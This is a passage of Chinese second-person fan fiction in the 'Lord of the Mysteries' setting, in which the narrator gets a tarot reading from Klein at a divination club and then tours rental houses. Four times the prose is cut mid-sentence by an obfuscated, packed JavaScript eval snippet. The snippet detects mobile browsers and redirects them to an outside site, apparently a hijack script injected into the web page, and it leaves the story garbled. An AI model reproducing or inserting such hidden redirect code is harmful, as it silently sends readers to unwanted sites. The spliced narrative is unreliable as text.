上午剩下的时间,你帮着队长处理了一些简单的文件归档和信件整理。在将一份文件递给队长时,你下意识地、几乎是习惯性地,手指轻轻拂过右眼眶,开启了“虚视”,目光扫过正低头审阅文件的邓恩·史密斯。 眼前浮现的,依旧是那沉稳、厚重……哎,队长你的颜色怎么好像生病了? 你看着队长的以太体颜色,感觉和之前好像不一样,没想到序列七的非凡者还能生病。不过你很快忽略了这些,只是扫视了一眼队长的记忆碎片。短时间地“翻阅”只能让你捕捉一些对方记忆里频繁出现的画面,比如现在这个带着柔和暖意的画面片段——一位黑发挽起、笑容明媚、眼神锐利的女士身影,美丽的戴莉女士!以及队长独自一人时,对着某张信笺微微出神、指尖无意识摩挲信纸边缘的画面。 “唉……” 你心里暗自叹了口气,“邓恩队长啊邓恩队长,你这闷葫芦到底要憋到什么时候?明明心里惦记着,收到了戴莉姐的信也是翻来覆去看,行动上却磨磨唧唧的。看得我这个旁观者都急死了!” 你想起前不久和罗珊在休息室闲聊时的打赌,你们赌队长今年之内能不能成功追求到戴莉女士。你可是毫不犹豫地押了“能”,还放话如果赢了就请罗珊吃大餐。 “队长,我这么相信你,争气点啊!” 你一边默默吐槽,一边快速关掉了灵视,免得被队长察觉。 下午,公司里确实没什么紧急事务了。你坐在接待厅,享受着难得的清闲。罗珊在一旁整理着最新的报纸。接待厅就我和罗珊两个人,克莱恩去豪尔斯街的占卜家俱乐部扮演占卜家,一切都显得平静而日常。 你想起之前听老尼尔和伦纳德闲聊时说过,值夜者小队平时其实相当清闲,在廷根这样相对平静的城市,一个月也就处理两三起、三四起真正涉及非凡的事件,大部分时间都是在巡逻、训练、研究神秘学知识,或者处理一些疑似非凡但最后证实是虚惊的报案。 “不过,好像自从我和克莱恩加入之后,这非凡事件的频率……有点高起来了啊?” 你掰着手指数了数,韦尔奇事件、绑架案连带出安提哥努斯笔记和“魔术师”……这密度显然不正常。“虽然这听起来像是我和克莱恩自带什么事故体质一样……” 你有些自嘲地想,“总不能因为我们俩比较‘特殊’,所以就能吸引非凡事件吧?那也太倒霉了。” 你甩了甩头,把这个有点自嘲又有点不安的念头暂时压下。无论如何,现在想这些也没用。你摸了摸口袋里那张崭新的、散发着油墨香的40镑钞票,心情又好了起来。 委托报酬已经到手了!整整40镑! 而且,按照值夜者的内部规定,值夜者的周薪和额外任务资金都不用交税!天知道你从会计奥利安娜太太手里接过这笔巨款时,心脏跳得有多快。这几乎是你原来做文职时近两个月的薪水! 有了这笔钱,许多事情都可以提上日程了。首先就是搬家。你居住的铁十字街下街,环境嘈杂,安全性也一般。现在,总算可以考虑更好的地段了。 “水仙花街看起来真不错,安静,整洁,邻居似乎也体面……可惜克莱恩说那边暂时没空房了。” 你有些遗憾,但很快又有了新目标,“下次去打听一下罗森他的草药店附近有没有空房子吧,那附近环境也还行,治安不错,主要是我以后肯定要多和生命学派联系,廷根没有‘怪物’的后序配方……” 不过,你转念一想,罗森的药店好像处于金梧桐区和东区之间,距离北区佐特兰街的黑荆棘安保公司有点远。但随即,你又眉开眼笑起来:“不对!我可是马上要转正的人了!转正薪资我问过老尼尔了,足足有12镑一周呢!” 这还不算可能的任务分成。“完全负担得起坐公共马车的费用!而且可以申请交通补贴,距离因素可以放在最后考虑!” 你开始认真规划:“房子最好还是要在值夜者的主要分管区域,比如北区或者西区,这样平时巡逻或者紧急出动也方便……嗯,得抽空去看看房源了。” 想到即将拥有更宽敞、更安全、更属于自己的空间,你对未来充满了期待。 …… 在公司实在找不到什么正经事做,或者说,不想主动去承担那些枯燥的看守工作,这可是周末啊,即使是你也想偷懒一会。 你决定充分利用这个下午。 首要目标,自然是去给克莱恩捧场——他今天要去占卜俱乐部正式注册,开始他作为“占卜家”的扮演与消化之旅。作为队友兼朋友,于情于理都该去露个脸,看看情况,必要时候帮他开张一下。 其次,则是关乎自己切身利益的大事——找房子! 你摸了摸口袋里那厚实的四十镑钞票和未来周薪十二镑的承诺,感觉底气前所未有的足。目标很明确:最好是有三个卧房,还需要有一个小客厅,必须带独立的卫生间和厨房! 地点嘛,正如你早上规划的,优先考虑北区、西区或靠近佐特兰街的区域,罗森所在的弗拉德街也可以好好考虑。 说走就走。你去找邓恩队长报备了一声,询问是否还有其他任务。得到队长“暂无,注意安全”的答复后,你便心情愉快地,大摇大摆地,带着点周末加班的理直气壮地走出了黑荆棘安保公司,融入周日午后相对悠闲的街头人流中。 占卜俱乐部位于豪尔斯街13号,夹在退伍军人俱乐部和哈罗德百货商店之间,招牌不算显眼。你顺着楼梯走上二楼,推开一扇挂着深紫色绒帘的玻璃门,内部装潢映入眼帘——色调以深紫、暗红和棕色为主,光线柔和,空气中飘散着淡淡的熏香和咖啡的气味,环境安静雅致。 接待前台后坐着一位盘着精致棕黄色发髻的漂亮女士,看起来二十五六岁,穿着得体的深色裙装,脸上带着亲切的职业化微笑。 她微微颔首,目光在你身上快速而礼貌地打量了一下,大概在判断你的来意和支付能力,微笑着开口:“下午好,小姐。欢迎来到占卜俱乐部。请问您是想要进行一次占卜,还是有意向加入我们俱乐部呢?” 你今天是来给克莱恩捧场的,自然不是要加入。于是你露出一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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你一边说,一边用真诚的眼神看着安洁莉卡。不出你所料,这位女士完全被你唬住了。她的脸颊微微泛红,眼神有些闪躲,似乎被“家庭或感情问题”这个描述微妙地触动了。她愣了几秒,才有些慌乱地“哦”了一声,几乎是下意识地将图册快速翻到了最后一页,那里通常是新加入会员或者收费最亲民的占卜师名单。 “今、今天新加入的会员,只有一位……” 她的声音比刚才低了一些,手指点向图册末尾一个简单的名字和介绍。 你顺势看去,图册那一页上贴着一张略显拘谨的一寸照,下面是手写的信息: 克莱恩·莫雷蒂先生 占卜方式:灵摆占卜、塔罗占卜、梦境与启示解读 占卜费用:每次8便士 “是这样啊,” 你点点头,露出一个微笑,目光在图册上克莱恩的名字上停留了一下,“他看起来是个年轻人,是吗?看来就是这位莫雷蒂先生了。请问他现在方便吗?” 安洁莉卡似乎还没完全从你那个精准的描述中回过神,连忙点头:“方便的,方便的。莫雷蒂先生刚刚完成注册,正在会议室听凡森特先生的星盘占卜讲解。我这就去通知他。” “谢谢您。” 你礼貌地道谢,继续坐在靠窗位置的沙发上,心里暗暗给自己点了个赞,对即将看到的、作为“占卜家”营业的克莱恩,充满了期待和一丝恶作剧般的趣味。 53. 第52章 “占卜家”先生给我占卜一次吧 你坐在沙发上等待着,片刻后,安洁莉卡(她的工作铭牌上写着她的名字)将克莱恩·莫雷蒂引了出来。他穿着那身略显宽大的正装,看起来比他穿亚麻衬衫的时候更成熟稳重些。 你一见到他,立刻进入状态,脸上绽开一个混合着感激、重逢喜悦与一丝后怕的生动表情,微微提高音量说道:“莫雷蒂先生!又见面了! 实在、实在太感谢您上周的占卜了!多亏了您的预言,让我成功避开了一场劫难!” 你的语气真诚而略带激动,仿佛真的对一位救命恩人说话。 克莱恩显然愣了一下,但以他“占卜家”的应变能力和与你之间的默契,他迅速明白了你的意图。他立刻调整表情,做出符合“神秘高人”身份的矜持模样,抬手扶了扶头上的半高丝绸礼帽,微微颔首,用刻意放缓的平稳语调回应道: “您太客气了,女士。那并没有什么,命运的启示本就存在,我只是恰好为您指出了方向。” 他的表演出现在他书卷气的面孔上算不上多么精湛,但配合这占卜室的环境和他本身的气质,倒也像模像样。 安洁莉卡见状,微笑着退开,将空间留给你们。 克莱恩选的占卜房是黄水晶房,你想可能是因为这个房间名字和他的灵摆颜色正好一致。 黄水晶房以暖黄色调为主,墙壁上挂着星象图和一些水晶装饰,一张铺着深色绒布的圆桌旁摆着两把舒适的扶手椅,氛围宁静而私密。 克莱恩请你在铺着绒布的圆桌旁坐下,自己则坐到对面。 门一关上,克莱恩那副专业占卜师的面具就松了些,他有些无奈又好笑地看着你:“温蒂,你怎么来了?还突然说什么预言……” 他显然听到了你刚才在前台的话。 “当然是来支持你的生意啊!第一次做占卜家,怎么能没有捧场的人?” 你笑嘻嘻地坐下,压低声音,带着点小得意,“怎么样,我唬住前台那位安洁莉卡小姐了吧?我可是帮你营造了一个‘神秘、精准、乐于助人且不图回报’的高人形象!说不定以后能帮你吸引更多客户呢!” 克莱恩摇了摇头,但嘴角确实向上扬了扬,显然对你这种出其不意的“支持”方式感到既无奈又有趣。“下次提前打个招呼,差点没接上戏。” 他一边说,一边走到桌边,从抽屉里取出一副看起来颇为精美的塔罗牌。 “那么,这位‘感激’的小姐,今天想要占卜什么呢?” 克莱恩将牌放在桌上,在你对面坐下,恢复了占卜师的口吻。 你其实没什么特别想问的,来此主要目的是捧场和观察。你歪了歪头:“嗯……我也不知道具体问什么好。你有什么建议吗,莫雷蒂先生?” 克莱恩思索了一下,提议道:“如果暂时没有具体的问题,可以尝试一个比较通用的占卜法——看看‘过去’、‘现在’、‘未来’的概况。方法就用……” 他顿了顿,看了你一眼,“就用你崇拜的罗塞尔大帝发明的,如今广泛流行的塔罗牌如何?” “当然好!” 你立刻点头,对使用塔罗牌毫无异议,甚至因为能和罗塞尔大帝扯上关系而更感兴趣。 克莱恩开始熟练地洗牌,他的手指修长灵活,纸牌在他手中如同有了生命般飞舞、交错,发出清脆而富有韵律的沙沙声。 克莱恩开始熟练地洗牌,他的手指修长,动作流畅,带着一种奇异的韵律感,纸牌在他手中发出轻柔的沙沙声。他一边洗牌,一边用闲聊般的语气低声问你:“说起来,你怎么想到今天过来?队里没事?” “没什么要紧事,队长放我出来了。本来也是周末嘛,就想来看看你这边顺不顺利。” 你也压低声音回答,眼睛好奇地看着他洗牌的动作,“顺便……嗯,满足一下我的好奇心,你也知道,我平常都是直接用‘感觉’的,没怎么占卜过。” 克莱恩点点头,手的动作没停,继续将牌洗好,然后在你面前的绒布上,以一字排开的方式,背面朝上放下了三张牌。 洗牌完毕,他将牌叠好放在桌上。 “过去,现在,未来。” 他依次指了指从左到右的三张牌,“请集中精神,默想你的问题,或者只是放空,感受牌的指引。然后,告诉我你想先看哪一张?” 你的目光在三张背面向上的牌上扫过,它们看起来一模一样,带着神秘的花纹。你遵从直觉,指了指正中间的那张:“先看‘现在’吧。” 你对当前的境况最感兴趣。 克莱恩点点头,伸出手指,将位于正前方、代表“现在”的那张牌缓缓翻了过来。 牌面上,是三个身着华服、头戴花冠的女子,她们高举着圣杯,仿佛在欢庆、畅饮、分享喜悦。背景是丰收的田野和硕果累累的藤蔓。 圣杯三,正位。 “圣杯三,正位。” 克莱恩看着牌面,略作思索,开口道,“这张牌通常与欢庆、友谊、合作、初步的成功与收获有关。它预示着一种和谐、愉悦的社交状态,可能意味着你近期在人际交往、团队合作方面颇为顺利,或者即将迎来值得庆祝的小成就,与他人的关系融洽,能从中获得情感或实质上的支持与满足。” 他抬头看了你一眼,补充道,“结合你最近的情况,或许可以理解为与同事朋友关系良好,任务有所收获,或者……即将迎来工作或生活上的积极转变。” 比如转正加薪?你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193717|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里默默补充。 这个解读听起来相当不错,符合你最近的心情和预期。你点点头,又问:“那‘未来’呢?” 克莱恩依言将代表“未来”的那张牌翻开。 牌面上,一个巨大的轮盘悬浮于天地之间,轮盘上刻着各种神秘的符号,轮盘周围环绕着人面狮身像、蛇、胡狼等神话生物,轮盘上方则是一个平衡的天平。 命运之轮,正位。 “命运之轮,正位。” 克莱恩的语气中多了一丝郑重,“这是一张代表转折、变化、契机和命运无常的牌。正位的命运之轮,往往预示着命运的齿轮开始向着积极的方向转动,可能迎来重要的转折点、新的机遇、境遇的提升,或者是一种冥冥中的推动力,将您带向更符合命运轨迹的方向。它提醒您要抓住时机,顺应变化,因为转变即将到来,而且是朝着好的方面。” 命运之轮的转动、新的机遇,转折点…… 这让你不由得想到了即将到来的转正,以及更神秘的“塔罗会”。确实,你的未来似乎充满了未知但可能积极的变化。 “最后,‘过去’。” 你有些好奇,你的“过去”在塔罗牌中会呈现什么。 克莱恩翻开了最后一张牌。 一位身披黑色盔甲的骷髅骑士,骑着白马,手持旗帜,踏过倒在地上的国王、教皇、少女等人物,背景是升起的太阳和双塔。背景是升起的太阳,仿佛在死亡之后,又有新生。 死神,正位。 克莱恩的眉头有些微微蹙起,他仔细地看着牌面,组织着语言: “死神,正位。这张牌并不直接代表□□的死亡,更多象征着结束、转变、重生、清算和放下。它可能意味着一段旧有的、陈腐的、或者对您造成束缚的阶段或关系的彻底终结,一种深刻的蜕变,舍弃过去的某些东西,可能是观念、习惯、环境或人际关系,从而为新生腾出空间。” “这过程可能伴随着痛苦或不适,但却是必要的。结合‘过去’的位置,它或许在揭示,您近期经历了一次或多次重大的‘结束’与‘开始’,比如生活环境的剧变、重要关系的断裂、或者……某种世界观与身份的彻底重塑。” 他说的很委婉,但你知道,“结束与重生”、“身份重塑” —— 这简直精准地指向你加入值夜者、踏入非凡世界所带来的与过去平凡生活的“割裂”。 房间内安静了几秒。你看着桌上这三张牌——死神的终结,圣杯三的欢聚,命运之轮的转变。 你隐隐觉得,它们确实串联起一条隐约的脉络。克莱恩在占卜这方面没得说,是一个真正的、名副其实的“占卜家”。 54. 第53章 看房子 你仔细回味着克莱恩的解读——死神的告别、圣杯三的联结、命运之轮的转变……你静静地坐在那里,目光在那三张描绘着不同命运图景的纸牌上游移。 这些意象与你近期的经历:告别过去平凡的生活、融入值夜者小队并获得认可、即将迎来的转正与未知的新阶段都隐隐产生了一种奇妙的共鸣。 尽管你明白占卜的解读往往模糊而开放,更多是提供一种反思的框架,但你确实在克莱恩平静而富有引导性的叙述中,感受到了一种冥冥中的呼应,仿佛触碰到了命运丝线的某一缕微光。 “多谢你的解读,克莱恩。” 你从短暂的出神中恢复,由衷地说道,脸上带着真诚的谢意,“真的很感谢。我甚至感觉……抓住了那么一点,额,命运的脉络?” 你试图描述那种微妙的感触,但最终还是摇了摇头,笑道,“真是抱歉,命运这种东西,真是难以形容。” 克莱恩理解地点点头,他小心地将三张牌收拢,与其他牌混在一起,重新开始洗牌。“不用道歉,命运本就难以言喻,塔罗只是提供一面镜子,映照出询问者自己内心的投影和潜意识的趋势。能对你有所帮助就好。” 他顿了顿,嘴角露出一丝温和的笑意,“而且,给你占卜,对我而言也是很好的练习和体验。收获很大。” 你知道他指的是“占卜家”魔药的消化,会心一笑。 “那么,接下来有什么打算?” 克莱恩将牌收好,随口问道,“直接回公司吗?” “不,” 你摇摇头,眼中闪烁着对未来的期待,“我打算去廷根市改善住房公司看看。想找找有没有合适的房子。你知道的,我打算搬家了,希望能找到带三个房间、有独立厨房和卫生间的那种。” 你简单分享了自己的计划,想到那四十镑和未来的周薪,语气里不禁带上了点雀跃。 克莱恩闻言,脸上露出了然的笑意。他沉吟了一下,忽然说:“稍等一下。” 接着,他左手伸进正装内衬的口袋,取出了那枚你熟悉的、他用于占卜的黄色水晶灵摆。银链在他指尖垂下,水晶在室内柔和的光线下微微晃动。 “既然是要找房子,或许可以再确认一下。” 他看向你,用征询的语气说,“让我再为你占卜一次,关于这件事本身。” 你当然没有异议,点了点头。 克莱恩捏住银链,让黄水晶灵摆自然悬垂,他闭上眼睛,用平稳清晰的语调重复占卜语句:“温蒂今天能找到心仪的房子,温蒂今天能找到心仪的房子……” 他重复了三遍。你屏息凝神地看着那枚小巧的水晶。几秒钟后,在没有任何外力触碰的情况下,那枚黄水晶开始缓慢而稳定地做起了顺时针旋转。 克莱恩睁开眼,看着灵摆的转动,脸上露出了轻松的笑容。他将灵摆收回口袋,对你肯定地说道:“顺时针,代表肯定的答案。灵摆的启示是,你能找到心仪的房子。所以,不用担心,放心去挑选吧。” “真的?太好了!” 你忍不住笑逐颜开。虽然你知道占卜结果未必百分百准确,但这种积极的预示无疑让人心情大好。花了8便士,听了精彩的塔罗解读,还得到了关于找房子的积极占卜,这钱花得可真值! 你心里美滋滋地想。 “承你吉言啦,克莱恩!” 你站起身,愉快地向他道谢,“那我就不多打扰你‘营业’了!祝你今天生意兴隆!” “那么就希望‘怪物’小姐能赐我好运了。” 克莱恩也起身,礼貌地将你送到占卜室门口,“路上小心。” 你再次向接待台的安洁莉卡女士点头致意,然后脚步轻快地踏出了占卜俱乐部的大门。午后明亮的阳光洒在豪尔斯街上,让你微微眯起了眼。 “好了,下一站,廷根市改善住房公司!” 你在心里给自己打气,按照计划,径直往南边走去。 告别克莱恩和他的塔罗牌后,你沿着豪尔斯街向南,脚步轻快地穿过几个街区,很快来到了水仙花街。 比起豪尔斯街的繁华,这里显得更加宁静宜居。廷根市改善住房公司的招牌就挂在一栋三层砖石建筑的一楼,看起来颇为正规。 推门进去,门铃发出清脆的叮咚声。室内陈设简洁,几张办公桌,墙上挂着一些房屋的素描图和区域地图。一位有点肚腩、看起来五十岁上下的中年男士迎了上来。他穿着白色的衬衣和黑色的马甲,没有穿正式的外套,也没戴帽子,虽然不是标准的绅士套装,但反而让人觉得亲切。 “下午好,女士。欢迎光临廷根市改善住房公司。我是这里的经理,您可以称呼我斯卡特。” 他微微欠身,“不知道您今天来,是希望寻找什么样的房屋呢?我可以为您介绍。” 你直截了当地说出了自己的需求:“您好,斯卡特先生。我想找一处有三个独立卧室,并且带有独立厨房和卫生间的房子。最好是联排房屋,环境安静一些。” 斯卡特先生听完,笑容不变,眼神中流露出理解的神色,显然对于年轻人寻求更宽敞、独立住所的需求并不陌生。他走到一张办公桌后,从抽屉里取出一本厚厚的册子,一边翻阅一边说道:“三个独立卧室,带独立厨卫的联排房屋……这个要求确实需要一定的空间。让我看看我们目前还未出租的房源……” 他快速浏览着,手指在纸页上滑动:“嗯……我们尚未出租的房屋目前有四处。不过考虑到您提到希望是联排房屋,且环境安静,我主要推荐这两处。” 他抽出两张夹在册子里的、带有简单平面图和文字介绍的纸张,推到你面前。 “一处位于北区,贝西克特街29号。另一处则在东区,斯蒂芬斯街36号。两处都是标准的联排住宅,符合您对卧室和独立厨卫的要求。每周租金根据具体位置、房屋状况和内部配置,大约在12到16苏勒之间。您可以先看看具体的介绍。” 你接过那两张介绍页,仔细看了起来。 北区,贝西克特街29号:位置相当不错,离你工作的佐特兰街黑荆棘安保公司不算太远,步行上下班完全可行,不会觉得累。介绍上还提到,旁边就有一家侦探事务所,街对面则是家政公司和廷根市帮助家庭仆人协会。听起来是个治安不错、生活也便利的街区。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193718|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东区,斯蒂芬斯街36号:这处位置对公司的佐兰特街来说就相对偏远一些了,从地图上看,步行到公司需要不少时间。但是,介绍上特意标注了附近有公共马车的固定线路和站点。 你想起自己之前住在铁十字街时,天天步行到佐特兰街也习惯了,这点距离不算什么。而且,一旦转正,周薪12镑,偶尔乘坐公共马车通勤完全负担得起,甚至还能报销。而且东区距离罗森的民俗草药店又近一些,也靠近霍伊大学和廷根大学,周边邻居的素质应该也不会低。 你在心里快速权衡着:北区那处,通勤方便,街区配套成熟,听起来更省心;东区那处,靠近大学城和你需要接触的生命学派线人。 思索片刻后,你指着北区贝西克特街29号的介绍页,对斯卡特先生说:“这两处位置我都可以考虑,可以先去看看近一点的这处,就是北区这个。” 斯卡特先生脸上的笑容依旧和蔼,但并没有立刻答应带你去看房,而是用一种略带探究、又尽可能委婉的语气问道:“当然可以,女士。不过……在看房之前,冒昧问一句,您不需要和您的父母或者家人商量一下吗?毕竟租赁房屋,尤其是这样的联排住宅,通常需要家庭的共同决定。” 你愣了一下,随即反应了过来,像你这样看起来年轻、独自前来租赁房屋的女性确实不多见。中介担心租客的经济能力、稳定性,或者家庭是否支持,是再正常不过的顾虑。 你笑了笑,语气坦然又带着一丝不易察觉的自信,回答道:“谢谢您的关心,斯卡特先生。不过,我就是家中能够做主的那一位。我已经和家人充分商量过了,寻找合适的住房、最后拍板决定以及签订契约、交付租金,都由我一人负责完成。他们很信任我的判断。” 你顿了顿,仿佛不经意地补充了一句,“毕竟,我是霍伊大学的毕业生,父母相信我能处理好自己的事情。” “哦,霍伊大学!” 斯卡特先生的眼睛微微睁大了一些,脸上的表情从探究变成了恍然,甚至带上了一丝敬意。在鲁恩,能让女孩上大学,而非仅仅读个文法学校就为了成为“女结婚员”的家庭,要么家境相当优渥,要么极为开明且重视教育。而霍伊大学更是廷根市乃至整个王国都知名的学府。能从那里面毕业,本身就意味着能力、见识和一定的家庭背景。 他心中的疑虑似乎瞬间打消了大半。一个霍伊大学毕业、有正式工作(能独自承担租金)、且家庭支持独立的年轻女性,无疑是优质的潜在租客。 “原来如此,是我多虑了,请您见谅。” 斯卡特先生的态度更加热情和尊重了,“霍伊大学的毕业生,那一定是位非常出色的小姐。那么,请问您什么时候方便去看房呢?我今天下午就有时间,如果您愿意,我们现在就可以出发去贝西克特街看看。” “现在就可以,麻烦您了,斯卡特先生。” 你从善如流地点头。看来,“霍伊大学毕业生”这个身份,在某些场合还真是挺管用的“敲门砖”。你跟着站起身,准备前往北区,实地考察那处可能成为你新家的房子。 55. 第54章 雪伦夫人 你跟随着斯卡特先生的脚步,停在了贝西克特街29号的门前。 这是一排联排建筑中的一栋,与25号、27号紧密相连。房屋采用了多边形的四坡屋顶,整体外观是沉稳的明红色砖石,最显眼的是屋顶上三个并排耸立的砖砌烟囱,透着一股老派而扎实的气息。 正如斯卡特先生之前提到的,在这个租金水平的街区,房屋入口直接面对着人行道,没有预留草坪、花园或者门廊,显得干脆利落,也省去了不少打理维护的功夫。 斯卡特先生从一大串铜制钥匙中找出对应的一把,边插入锁孔边介绍道:“我们的联排房屋设计都很实用,没有单独的门厅,进门直接就是起居室。29号这栋因为在街道转角,所以幸运地拥有两扇采光窗,一扇在正门旁,另一扇在侧墙,光线非常不错。” “咔嚓”一声,门锁打开。斯卡特推开厚重的木门,侧身让你先进。 映入你眼帘的是一个相当宽敞的起居室,面积几乎比你之前租住的铁十字街那个小房间的两倍还大。房间内部粉刷着明亮的浅色涂料,地面铺着深色的木地板。一套看起来保养得还不错的布艺沙发组靠墙摆放,为空间增添了几分暖意。 “这个起居室完全可以当作客厅使用,”斯卡特熟稔地继续介绍,手指向客厅右侧,“餐厅在那边,与客厅有一个半高的置物架作为简单的隔断,既划分了区域,又保持了空间的通透性。” 他又指向左侧墙壁,“那里有一个大壁炉,冬天取暖效果很好,烟道直接连通屋顶的烟囱。” 你仔细打量着这个开放式空间。布局确实不算粗糙,甚至可以说考虑周到。动静分区清晰,客厅、餐厅作为“动区”相连,而卧室等私密空间在楼上,能有效减少干扰 。采光也如斯卡特所言,非常理想。两扇窗户让整个底层都亮堂起来,阳光可以洒满大半个房间,这对于廷根市常常阴沉的天气来说,是个巨大的优点 。 你心里已经开始暗暗构思如何布置这个客厅了:沙发可以保留,也许需要一张地毯,再添置几个书架…… 客厅中央,靠近餐厅隔断的地方,摆放着一张不大的红色正方形木桌,旁边围着四把带有软垫的硬木靠背椅,看起来是供日常用餐或小憩使用的。 “餐厅后面就是厨房,”斯卡特引领你穿过餐厅区域,“不过我们需要您自备厨具和餐具,我们只提供基本的灶台和储物柜。” 接着,他指向客厅另一侧,也就是正门对面的一扇门,“那边是一间小客房,以及一楼的盥洗室。” 斯卡特迈开步伐,将一楼剩余的布局快速介绍了一遍。你看过那个小巧但功能齐全的厨房,以及紧邻厨房、确实如他所说的“不提供任何用具”的空旷空间,也查看了那间可以作为客房或者书房的小房间。一楼的盥洗室虽然不大,但马桶、洗手盆齐全,也做了基础的干湿分离,足够日常使用 。 看完一楼,斯卡特带你来到楼梯口——它巧妙地隐藏在盥洗室旁边的角落里。“楼梯往下,是一个地下室,可以作为储藏室,”他推开一扇低矮的小门,一股沉闷、带着泥土和灰尘气息的空气涌出,“里面的空气不流通,每次下去前,务必记得先开门通风一段时间。” 沿着略显陡峭的木制楼梯来到二楼,光线依然充足。斯卡特站在楼梯口示意:“我左手边是一个盥洗室,与它同侧的还有两间卧室。我右手边也是同样的格局,两间卧室,一个盥洗室,不过右手边的盥洗室位置更靠里,外面连着一个小阳台。” 你依次查看。二楼的卧室大小适中,都有窗户。右手边的盥洗室果然比一楼的大一些,多了一个白色的陶瓷浴缸,马桶旁边同样有玻璃折叠门实现了淋浴区的分离 。 斯卡特带你走到走廊尽头,推开一扇门,外面是一个很小的铁艺阳台。“阳台不大,晒晒衣物要注意分量,一次别晒太多,免得掉下去。”他提醒道。 最后,他指着阳台内侧、与墙壁融为一体的一处有门和锁的设施间说道:“这里有完整的下水道接口、瓦斯管道和独立的计费器。这些设施都很齐全,维护得也不错,非常适合您这样注重生活品质的小姐居住。” 回到二楼走廊,斯卡特总结道:“整栋房子的租金是每周14苏勒,另外需要支付8便士的家具使用费。押金是四周的租金。您觉得怎么样?” 听完斯卡特先生对贝西克特街29号详细的介绍和报价,你心里其实已经基本满意了。位置便利、采光好、布局合理、设施齐全,虽然阳台小了点,但瑕不掩瑜。不过,作为一位精明的大学生和值夜者队员,你深知不能把满意摆在脸上。 你脸上保持着礼貌而略带审视的表情,点了点头,语气平淡地说:“嗯,还可以。布局和采光确实不错,不过阳台还是小了一些,晾晒衣物可能不太方便。” 你适时地提出一个小小的不足,为接下来的比较和可能的议价留出空间: “不过,我还是想比较一下。麻烦您现在带我去看看东区斯蒂芬斯街36号那间房屋吧。” 斯卡特先生对此并无异议,欣然带你前往东区。 东区,斯蒂芬斯街36号的位置正如介绍所说,位于东区的边缘地带,靠近更繁华、治安也相对更好的金梧桐区,环境确实更为清幽。旁边就是廷根大律师学院和廷根商学院,学术氛围浓厚,周围的邻居看起来也确实多是学者、律师或商人家庭,显得更为“体面”。 房屋本身也是一栋联排住宅,外观和内部结构与北区那套大同小异。内部的装修和维护水平与贝西克特街29号相差无几,阳台确实比北区那套稍大一些,这点让你有些心动。但问题也很明显——这套房子因为朝向和位置关系,采光明显不如北区那套,室内感觉要阴暗一些。而且,租金却比北区那套还要贵1苏勒,达到了每周15苏勒,家具使用费还要另算。 性价比高下立判。你心里已经有了明确的偏向。 正当你准备开口,告诉斯卡特先生你更倾向于北区贝西克特街29号,并开始就价格进行谈判时,一辆出租马车缓缓驶过,速度不快,显得异常平稳。 就在马车经过你们面前的刹那,你的灵性毫无征兆地轻轻一跳,仿佛被什么东西触动。你下意识地揉了揉右眼眶,目光不由自主地追随着那辆马车看去。 马车车窗半开着,你瞥见了里面乘客的侧影。那是一位身材极为出众、皮肤异常白皙的女性,她穿着一身剪裁得体的黑色长裙,裸露的脖颈和手臂肌肤在黑色衣料的映衬下更显白嫩光洁,如同上好的瓷器。一头浓密的褐色长发如同瀑布般披散在肩头。虽然只是惊鸿一瞥,但那份成熟妩媚的风情和出众的姿容已然令人印象深刻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193719|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “小姐?” 斯卡特先生见你突然不说话,只是盯着远去的马车,便也顺着你的目光看去。马车已经驶出一段距离,他只看到一个优雅的背影。他脸上露出了然和些许暧昧的笑容,低声说道:“哦,原来是雪伦夫人。” “雪伦夫人?” 你回过神来,重复着这个陌生的名字,看向斯卡特,眼中带着恰到好处的好奇。 斯卡特左右看了看,仿佛分享什么秘密般,压低声音,带着点八卦的语气说道:“雪伦夫人啊,是霍伊男爵的第二任妻子,不过现在已经是遗孀了。她可是我们东区……不,是整个廷根市社交界都有名的美人。听说,她和很多政界的先生都……嗯,关系匪浅。” 他挤了挤眼睛,没把话说完,但那意思再明显不过——这位雪伦夫人,是一位游走于上流社会政要之间、长袖善舞的交际花。 你点了点头,表示理解。看着那辆载着雪伦夫人的马车拐进了街道尽头,消失不见。 你强压下心头的惊涛骇浪,面上维持着刚刚看完房子后权衡利弊的平静。 “斯卡特先生,” 